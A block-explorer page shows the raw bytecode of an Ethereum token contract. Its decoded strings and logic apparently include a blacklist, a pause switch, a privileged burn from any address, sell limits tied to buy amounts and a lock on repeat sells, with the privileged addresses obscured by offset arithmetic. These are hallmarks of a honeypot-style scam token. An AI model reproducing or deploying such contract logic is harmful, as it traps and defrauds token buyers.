Cryo Explorer Ethereum Mainnet

Address Contract Partially Verified

Address 0x80941467DF667BfdAD333d4dc3527713a620DF3c
Balance 0 ETH
Nonce 1
Code Size 16535 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

16535 bytes
0x608060405234801561001057600080fd5b50600436106101375760003560e01c80638da5cb5b116100b8578063a9059cbb1161007c578063a9059cbb1461033c578063bba8d2af1461036c578063d05b136a14610388578063dd62ed3e146103a4578063e05ee18a146103d4578063f2fde38b146103f057610137565b80638da5cb5b1461029857806395d89b41146102b65780639dc29fac146102d4578063a457c2d7146102f0578063a571fdd71461032057610137565b8063313ce567116100ff578063313ce567146101f4578063395093511461021257806347d5a0911461024257806370a082311461025e578063715018a61461028e57610137565b806302329a291461013c57806306fdde0314610158578063095ea7b31461017657806318160ddd146101a657806323b872dd146101c4575b600080fd5b61015660048036038101906101519190612d8c565b61040c565b005b6101606104c6565b60405161016d9190613313565b60405180910390f35b610190600480360381019061018b9190612c8b565b610558565b60405161019d91906132f8565b60405180910390f35b6101ae61057b565b6040516101bb9190613535565b60405180910390f35b6101de60048036038101906101d99190612c38565b610585565b6040516101eb91906132f8565b60405180910390f35b6101fc6105b5565b6040516102099190613580565b60405180910390f35b61022c60048036038101906102279190612c8b565b6105cc565b60405161023991906132f8565b60405180910390f35b61025c60048036038101906102579190612db9565b610603565b005b61027860048036038101906102739190612b9e565b6106d2565b6040516102859190613535565b60405180910390f35b61029661071b565b005b6102a061072f565b6040516102ad91906132b4565b60405180910390f35b6102be610758565b6040516102cb9190613313565b60405180910390f35b6102ee60048036038101906102e99190612c8b565b6107ea565b005b61030a60048036038101906103059190612c8b565b610859565b60405161031791906132f8565b60405180910390f35b61033a60048036038101906103359190612f5d565b6108d0565b005b61035660048036038101906103519190612c8b565b61093b565b60405161036391906132f8565b60405180910390f35b61038660048036038101906103819190612ccb565b61095f565b005b6103a2600480360381019061039d9190612e31565b610cd2565b005b6103be60048036038101906103b99190612bf8565b611403565b6040516103cb9190613535565b60405180910390f35b6103ee60048036038101906103e99190612b9e565b61148a565b005b61040a60048036038101906104059190612b9e565b61154c565b005b60006104166115d0565b9050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146104a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161049f90613415565b60405180910390fd5b81600660036101000a81548160ff0219169083151502179055505050565b6060600480546104d590613a05565b80601f016020809104026020016040519081016040528092919081815260200182805461050190613a05565b801561054e5780601f106105235761010080835404028352916020019161054e565b820191906000526020600020905b81548152906001019060200180831161053157829003601f168201915b5050505050905090565b6000806105636115d0565b90506105708185856115d8565b600191505092915050565b6000600354905090565b6000806105906115d0565b905061059d8582856117a3565b6105a885858561182f565b5060019150509392505050565b6000600660009054906101000a900460ff16905090565b6000806105d76115d0565b90506105f88185856105e98589611403565b6105f391906136e8565b6115d8565b600191505092915050565b600061060d6115d0565b9050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461069f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610696906133f5565b60405180910390fd5b82600490805190602001906106b59291906128d1565b5081600590805190602001906106cc9291906128d1565b50505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610723612440565b61072d60006124be565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461076790613a05565b80601f016020809104026020016040519081016040528092919081815260200182805461079390613a05565b80156107e05780601f106107b5576101008083540402835291602001916107e0565b820191906000526020600020905b8154815290600101906020018083116107c357829003601f168201915b5050505050905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661082b6115d0565b73ffffffffffffffffffffffffffffffffffffffff161461084b57600080fd5b6108558282612582565b5050565b6000806108646115d0565b905060006108728286611403565b9050838110156108b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ae906134d5565b60405180910390fd5b6108c482868684036115d8565b60019250505092915050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109116115d0565b73ffffffffffffffffffffffffffffffffffffffff161461093157600080fd5b8060078190555050565b6000806109466115d0565b905061095381858561182f565b50600191505092915050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109a06115d0565b73ffffffffffffffffffffffffffffffffffffffff16146109c057600080fd5b60005b8251811015610b8a57606460035460026109dd91906138e0565b6109e7919061373e565b60026000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000858481518110610a5d57610a5c613b3e565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b04600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16848381518110610adc57610adb613b3e565b5b602002602001015160646003546002610af591906138e0565b610aff919061373e565b61182f565b506001600f6000858481518110610b1e57610b1d613b3e565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610b8290613a68565b9150506109c3565b5060005b8151811015610ccd576103e8600354610ba7919061373e565b60026000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000848481518110610c1d57610c1c613b3e565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cb9600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16838381518110610c9c57610c9b613b3e565b5b60200260200101516103e8600354610cb4919061373e565b61182f565b508080610cc590613a68565b915050610b8e565b505050565b600660019054906101000a900460ff1615610d22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1990613435565b60405180910390fd5b6001600660016101000a81548160ff021916908315150217905550610d46846124be565b8a60049080519060200190610d5c9291906128d1565b508960059080519060200190610d739291906128d1565b5086600660006101000a81548160ff021916908360ff16021790555083600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610e2e600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900460ff16600a610e1291906137c2565b6001610e1e91906138e0565b8b610e2991906138e0565b6126ec565b87600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508660ff16600b60146101000a81548161ffff021916908361ffff1602179055508560078190555081600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555084600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f46919061369e565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610fb4919061369e565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600f6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600f6000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600f6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c9c65396600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16306040518363ffffffff1660e01b81526004016111e19291906132cf565b602060405180830381600087803b1580156111fb57600080fd5b505af115801561120f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112339190612bcb565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600f6000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600a60076003546112fe91906138e0565b611308919061373e565b60016000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a6003805461137d91906138e0565b611387919061373e565b60016000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113f660006124be565b5050505050505050505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60006114946115d0565b9050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146114f057600080fd5b6001601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b611554612440565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156115c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115bb90613375565b60405180910390fd5b6115cd816124be565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611648576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163f90613495565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116af90613395565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516117969190613535565b60405180910390a3505050565b60006117af8484611403565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114611829578181101561181b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611812906133b5565b60405180910390fd5b61182884848484036115d8565b5b50505050565b6000601260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118d55750601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611914576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190b90613515565b60405180910390fd5b6000600267ffffffffffffffff81111561193157611930613b6d565b5b60405190808252806020026020018201604052801561195f5781602001602082028036833780820191505090505b50905061196d858585612844565b6000600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050838110156119f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119eb90613355565b60405180910390fd5b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16148015611a9b5750600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d8557600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682600081518110611ad757611ad6613b3e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250503082600181518110611b2657611b25613b3e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631f00ca7486856040518363ffffffff1660e01b8152600401611bbf929190613550565b60006040518083038186803b158015611bd757600080fd5b505afa158015611beb573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190611c149190612d43565b600081518110611c2757611c26613b3e565b5b6020026020010151905080601060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508482611c81919061393a565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611d1391906136e8565b925050819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051611d779190613535565b60405180910390a350612428565b600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611e2c5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b1561231c57601160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611ebe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eb5906134b5565b60405180910390fd5b3082600081518110611ed357611ed2613b3e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682600181518110611f4457611f43613b3e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d06ca61f86856040518363ffffffff1660e01b8152600401611fdd929190613550565b60006040518083038186803b158015611ff557600080fd5b505afa158015612009573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052508101906120329190612d43565b60018151811061204557612044613b3e565b5b602002602001015190506120b2600754600a600b601060008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120a391906138e0565b6120ad919061373e565b612898565b8111156120f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120eb906133d5565b60405180910390fd5b6001601160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508482612158919061393a565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a6009866121aa91906138e0565b6121b4919061373e565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461220291906136e8565b92505081905550600a60018661221891906138e0565b612222919061373e565b60016000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461229291906136e8565b925050819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600a6009896122f791906138e0565b612301919061373e565b60405161230e9190613535565b60405180910390a350612427565b8381612328919061393a565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555083600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546123ba91906136e8565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8660405161241e9190613535565b60405180910390a35b5b6124338686866128b1565b6001925050509392505050565b6124486115d0565b73ffffffffffffffffffffffffffffffffffffffff1661246661072f565b73ffffffffffffffffffffffffffffffffffffffff16146124bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124b390613455565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156125f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e990613475565b60405180910390fd5b6125fe82600083612844565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612685576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161267c90613335565b60405180910390fd5b818103600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816003600082825403925050819055506126e7836000846128b1565b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561275c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612753906134f5565b60405180910390fd5b61276860008383612844565b806003600082825461277a91906136e8565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161282c9190613535565b60405180910390a3612840600083836128b1565b5050565b600660039054906101000a900460ff161561285e57600080fd5b600660029054906101000a900460ff161561287857600080fd5b6001600660026101000a81548160ff021916908315150217905550505050565b60008183106128a757816128a9565b825b905092915050565b6000600660026101000a81548160ff021916908315150217905550505050565b8280546128dd90613a05565b90600052602060002090601f0160209004810192826128ff5760008555612946565b82601f1061291857805160ff1916838001178555612946565b82800160010185558215612946579182015b8281111561294557825182559160200191906001019061292a565b5b5090506129539190612957565b5090565b5b80821115612970576000816000905550600101612958565b5090565b6000612987612982846135c0565b61359b565b905080838252602082019050828560208602820111156129aa576129a9613ba1565b5b60005b858110156129da57816129c08882612a96565b8452602084019350602083019250506001810190506129ad565b5050509392505050565b60006129f76129f2846135ec565b61359b565b90508083825260208201905082856020860282011115612a1a57612a19613ba1565b5b60005b85811015612a4a5781612a308882612b74565b845260208401935060208301925050600181019050612a1d565b5050509392505050565b6000612a67612a6284613618565b61359b565b905082815260208101848484011115612a8357612a82613ba6565b5b612a8e8482856139c3565b509392505050565b600081359050612aa581614005565b92915050565b600081519050612aba81614005565b92915050565b600082601f830112612ad557612ad4613b9c565b5b8135612ae5848260208601612974565b91505092915050565b600082601f830112612b0357612b02613b9c565b5b8151612b138482602086016129e4565b91505092915050565b600081359050612b2b8161401c565b92915050565b600082601f830112612b4657612b45613b9c565b5b8135612b56848260208601612a54565b91505092915050565b600081359050612b6e81614033565b92915050565b600081519050612b8381614033565b92915050565b600081359050612b988161404a565b92915050565b600060208284031215612bb457612bb3613bb0565b5b6000612bc284828501612a96565b91505092915050565b600060208284031215612be157612be0613bb0565b5b6000612bef84828501612aab565b91505092915050565b60008060408385031215612c0f57612c0e613bb0565b5b6000612c1d85828601612a96565b9250506020612c2e85828601612a96565b9150509250929050565b600080600060608486031215612c5157612c50613bb0565b5b6000612c5f86828701612a96565b9350506020612c7086828701612a96565b9250506040612c8186828701612b5f565b9150509250925092565b60008060408385031215612ca257612ca1613bb0565b5b6000612cb085828601612a96565b9250506020612cc185828601612b5f565b9150509250929050565b60008060408385031215612ce257612ce1613bb0565b5b600083013567ffffffffffffffff811115612d0057612cff613bab565b5b612d0c85828601612ac0565b925050602083013567ffffffffffffffff811115612d2d57612d2c613bab565b5b612d3985828601612ac0565b9150509250929050565b600060208284031215612d5957612d58613bb0565b5b600082015167ffffffffffffffff811115612d7757612d76613bab565b5b612d8384828501612aee565b91505092915050565b600060208284031215612da257612da1613bb0565b5b6000612db084828501612b1c565b91505092915050565b60008060408385031215612dd057612dcf613bb0565b5b600083013567ffffffffffffffff811115612dee57612ded613bab565b5b612dfa85828601612b31565b925050602083013567ffffffffffffffff811115612e1b57612e1a613bab565b5b612e2785828601612b31565b9150509250929050565b60008060008060008060008060008060006101608c8e031215612e5757612e56613bb0565b5b60008c013567ffffffffffffffff811115612e7557612e74613bab565b5b612e818e828f01612b31565b9b505060208c013567ffffffffffffffff811115612ea257612ea1613bab565b5b612eae8e828f01612b31565b9a50506040612ebf8e828f01612b5f565b9950506060612ed08e828f01612a96565b9850506080612ee18e828f01612b89565b97505060a0612ef28e828f01612b5f565b96505060c0612f038e828f01612a96565b95505060e0612f148e828f01612a96565b945050610100612f268e828f01612a96565b935050610120612f388e828f01612a96565b925050610140612f4a8e828f01612a96565b9150509295989b509295989b9093969950565b600060208284031215612f7357612f72613bb0565b5b6000612f8184828501612b5f565b91505092915050565b6000612f968383612fa2565b60208301905092915050565b612fab8161396e565b82525050565b612fba8161396e565b82525050565b6000612fcb82613659565b612fd5818561367c565b9350612fe083613649565b8060005b83811015613011578151612ff88882612f8a565b97506130038361366f565b925050600181019050612fe4565b5085935050505092915050565b61302781613980565b82525050565b600061303882613664565b613042818561368d565b93506130528185602086016139d2565b61305b81613bb5565b840191505092915050565b600061307360228361368d565b915061307e82613bd3565b604082019050919050565b6000613096602e8361368d565b91506130a182613c22565b604082019050919050565b60006130b960268361368d565b91506130c482613c71565b604082019050919050565b60006130dc60228361368d565b91506130e782613cc0565b604082019050919050565b60006130ff601d8361368d565b915061310a82613d0f565b602082019050919050565b600061312260268361368d565b915061312d82613d38565b604082019050919050565b600061314560248361368d565b915061315082613d87565b604082019050919050565b600061316860248361368d565b915061317382613dd6565b604082019050919050565b600061318b601c8361368d565b915061319682613e25565b602082019050919050565b60006131ae60208361368d565b91506131b982613e4e565b602082019050919050565b60006131d160218361368d565b91506131dc82613e77565b604082019050919050565b60006131f460248361368d565b91506131ff82613ec6565b604082019050919050565b600061321760208361368d565b915061322282613f15565b602082019050919050565b600061323a60258361368d565b915061324582613f3e565b604082019050919050565b600061325d601f8361368d565b915061326882613f8d565b602082019050919050565b600061328060228361368d565b915061328b82613fb6565b604082019050919050565b61329f816139ac565b82525050565b6132ae816139b6565b82525050565b60006020820190506132c96000830184612fb1565b92915050565b60006040820190506132e46000830185612fb1565b6132f16020830184612fb1565b9392505050565b600060208201905061330d600083018461301e565b92915050565b6000602082019050818103600083015261332d818461302d565b905092915050565b6000602082019050818103600083015261334e81613066565b9050919050565b6000602082019050818103600083015261336e81613089565b9050919050565b6000602082019050818103600083015261338e816130ac565b9050919050565b600060208201905081810360008301526133ae816130cf565b9050919050565b600060208201905081810360008301526133ce816130f2565b9050919050565b600060208201905081810360008301526133ee81613115565b9050919050565b6000602082019050818103600083015261340e81613138565b9050919050565b6000602082019050818103600083015261342e8161315b565b9050919050565b6000602082019050818103600083015261344e8161317e565b9050919050565b6000602082019050818103600083015261346e816131a1565b9050919050565b6000602082019050818103600083015261348e816131c4565b9050919050565b600060208201905081810360008301526134ae816131e7565b9050919050565b600060208201905081810360008301526134ce8161320a565b9050919050565b600060208201905081810360008301526134ee8161322d565b9050919050565b6000602082019050818103600083015261350e81613250565b9050919050565b6000602082019050818103600083015261352e81613273565b9050919050565b600060208201905061354a6000830184613296565b92915050565b60006040820190506135656000830185613296565b81810360208301526135778184612fc0565b90509392505050565b600060208201905061359560008301846132a5565b92915050565b60006135a56135b6565b90506135b18282613a37565b919050565b6000604051905090565b600067ffffffffffffffff8211156135db576135da613b6d565b5b602082029050602081019050919050565b600067ffffffffffffffff82111561360757613606613b6d565b5b602082029050602081019050919050565b600067ffffffffffffffff82111561363357613632613b6d565b5b61363c82613bb5565b9050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006136a98261398c565b91506136b48361398c565b92508273ffffffffffffffffffffffffffffffffffffffff038211156136dd576136dc613ab1565b5b828201905092915050565b60006136f3826139ac565b91506136fe836139ac565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561373357613732613ab1565b5b828201905092915050565b6000613749826139ac565b9150613754836139ac565b92508261376457613763613ae0565b5b828204905092915050565b6000808291508390505b60018511156137b95780860481111561379557613794613ab1565b5b60018516156137a45780820291505b80810290506137b285613bc6565b9450613779565b94509492505050565b60006137cd826139ac565b91506137d8836139b6565b92506138057fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461380d565b905092915050565b60008261381d57600190506138d9565b8161382b57600090506138d9565b8160018114613841576002811461384b5761387a565b60019150506138d9565b60ff84111561385d5761385c613ab1565b5b8360020a91508482111561387457613873613ab1565b5b506138d9565b5060208310610133831016604e8410600b84101617156138af5782820a9050838111156138aa576138a9613ab1565b5b6138d9565b6138bc848484600161376f565b925090508184048111156138d3576138d2613ab1565b5b81810290505b9392505050565b60006138eb826139ac565b91506138f6836139ac565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561392f5761392e613ab1565b5b828202905092915050565b6000613945826139ac565b9150613950836139ac565b92508282101561396357613962613ab1565b5b828203905092915050565b60006139798261398c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b82818337600083830152505050565b60005b838110156139f05780820151818401526020810190506139d5565b838111156139ff576000848401525b50505050565b60006002820490506001821680613a1d57607f821691505b60208210811415613a3157613a30613b0f565b5b50919050565b613a4082613bb5565b810181811067ffffffffffffffff82111715613a5f57613a5e613b6d565b5b80604052505050565b6000613a73826139ac565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613aa657613aa5613ab1565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473207560008201527f6e6c6f636b656420616d6f756e74000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f4e6f7420617574686f72697a656420746f2075706461746520696e666f726d6160008201527f74696f6e00000000000000000000000000000000000000000000000000000000602082015250565b7f4e6f7420617574686f72697a656420746f2070617573652074686520636f6e7460008201527f7261637400000000000000000000000000000000000000000000000000000000602082015250565b7f416c726561647920496e697469616c697a656420436f6e747261637400000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e73666572206973207374696c6c2070656e64696e67600082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b7f53656e646572206f7220726563697069656e7420697320626c61636b6c69737460008201527f6564000000000000000000000000000000000000000000000000000000000000602082015250565b61400e8161396e565b811461401957600080fd5b50565b61402581613980565b811461403057600080fd5b50565b61403c816139ac565b811461404757600080fd5b50565b614053816139b6565b811461405e57600080fd5b5056fea26469706673582212200f7f7f99298c5800d6ff575c9d34e9cc6796fd316dcf519fd52d60d73973768f64736f6c63430008070033

